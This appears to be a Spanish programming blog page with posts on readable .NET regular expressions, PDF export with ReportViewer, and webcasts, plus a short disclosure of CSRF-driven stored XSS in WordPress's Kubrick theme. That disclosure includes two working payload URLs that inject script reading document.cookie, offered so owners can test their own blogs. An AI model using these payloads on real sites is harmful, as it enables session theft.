Expresiones regulares más entendibles en .NET

Seguramente más de uno que ha tenido la oportunidad de revisar código ajeno donde se hacía uso de expresiones regulares, sufrió de algún modo para entender algunos patrones; esto sucede generalmente porque pocos suelen poner nombres a los grupos que definen y menos aún usan comentarios dentro de los patrones.

El siguiente ejemplo ilustra de manera básica un patrón confuso:

csharp:
using System;
using System.Text.RegularExpressions;

class Program
{
        static void Main(string[] args)
        {
                string patern = @"(https?://)([a-z\d-]+\.)*([a-z\d-]+)((\.[a-zA-Z]+){1,2})(/.*$)?";

                RegexOptions options = RegexOptions.IgnoreCase;

                Match match = Regex.Match("http://google.com", pattern, options);

                foreach (Group group in match.Groups)
                {
                        Console.WriteLine(group.Value);
                }           
        }
}

Ese mismo ejemplo, usando la opción RegexOptions.IgnorePatternWhitespace permite entender más fácilmente la expresión regular mostrada:

csharp:
using System;
using System.Text.RegularExpressions;

class Program
{
    static void Main(string[] args)
    {
        string pattern = @"
               (?# Ejemplo de comentario: captura el protocolo http o https incluyendo ://)
               (?<protocol>https?://)
               (?<subDomain>[a-z\d-]+\.)*
               # Algún otro comentario relevante #
               (?<domain>[a-z\d-]+)
               (?<TLD>(\.[a-zA-Z]+){1,2})
               (?<requestUri>/.*$)?
           ";       
        RegexOptions options = RegexOptions.IgnorePatternWhitespace | RegexOptions.IgnoreCase;

        Match match = Regex.Match("http://google.com", pattern, options);

        foreach (Group group in match.Groups)
        {
            Console.WriteLine(group.Value);
        }
    }
}

Como se puede apreciar, el segundo ejemplo da una idea más clara de lo que captura el patrón definido.

Si desarrollan en .NET y usan expresiones regulares, no hay excusas para hacer sufrir a los que revisan o dan mantenimiento al código que hicieron 😉

XSS en el tema Kubrick de WordPress

Kubrick, tema por omisión de WordPress, es vulnerable a ataques CSRF, esto tiene como consecuencia que un atacante pueda almacenar HTML arbitrario en sus opciones, si alguno de ustedes usa este tema, puede probar los siguientes ejemplos (o variantes) para determinar si su blog se ve afectado o no por este problema.

code:
XSS persistente que sólo funciona en IE
http://localhost/wp/wp-admin/themes.php?page=functions.php&action=save&fontcolor=expression(alert(document.cookie))

XSS persistente, funciona en todos los navegadores:
http://localhost/wp/wp-admin/themes.php?page=functions.php&action=save&headerimage='--></style><script>alert(document.cookie)</script>

Es muy probable que otros temas también sean vulnerables a este tipo de ataques, por lo cual, si vuestro blog les importa, deben tener cuidado con los plugins y temas que instalan o usan.

Exportar reportes a PDF desde código

A partir de Visual Studio 2005, se incluyeron nuevos controles (ReportViewer) y clases (LocalReport, ServerReport, etc) con los cuales se pueden diseñar reportes tanto para aplicaciones de escritorio como para aplicaciones Web.

Una característica útil de estas nuevas clases, al igual que los reportes diseñados en Crystal Reports, es que permiten automatizar el proceso de conversión de los reportes a diferentes a diferentes formatos: MS Excel, PDF e Imagenes (en formato TIFF).

Revisando documentación acerca de este conjunto de clases encontré un ejemplo publicado por Raj Kaimal que justamente exporta los reportes a formato PDF desde ASP.NET usando el método Render de la clase LocalReport:

csharp:
private void RenderReport()
{
    LocalReport localReport = new LocalReport();
    localReport.ReportPath = Server.MapPath("~/Productos.rdlc");

    ReportDataSource reportDataSource = new ReportDataSource("Ejemplo_Productos", GetData());
    localReport.DataSources.Add(reportDataSource);

    string reportType = "PDF";
    string mimeType;
    string encoding;
    string fileNameExtension;
   
    //The DeviceInfo settings should be changed based on the reportType
    //http://msdn2.microsoft.com/en-us/library/ms155397.aspx
    string deviceInfo =
    "<DeviceInfo>" +
    "  <OutputFormat>PDF</OutputFormat>" +
    "  <PageWidth>8.5in</PageWidth>" +
    "  <PageHeight>11in</PageHeight>" +
    "  <MarginTop>0.5in</MarginTop>" +
    "  <MarginLeft>1in</MarginLeft>" +
    "  <MarginRight>1in</MarginRight>" +
    "  <MarginBottom>0.5in</MarginBottom>" +
    "</DeviceInfo>";

    Warning[] warnings;
    string[] streams;
    byte[] renderedBytes;
   
    //Render the report
    renderedBytes = localReport.Render(
        reportType,
        deviceInfo,
        out mimeType,
        out encoding,
        out fileNameExtension,
        out streams,
        out warnings);
   
    Response.Clear();
    Response.ContentType = mimeType;
    Response.AddHeader("content-disposition", "attachment; filename=productos." + fileNameExtension);
    Response.BinaryWrite(renderedBytes);
    Response.End();
}

En la primera porción de código resaltada, reportType puede tomar los siguientes valores: PDF, Excel o Image; los valores para deviceInfo varían de acuerdo al formato que se use y están documentados en MSDN

Por si alguien está interesado, he preparado un pequeño ejemplo basado en el código mostrado.

Webcasts sobre Arquitectura de Software

Una serie de Webcast para los interesados en la Arquitectura de Software

Fuente: http://blogs.msdn.com/mohammadakif/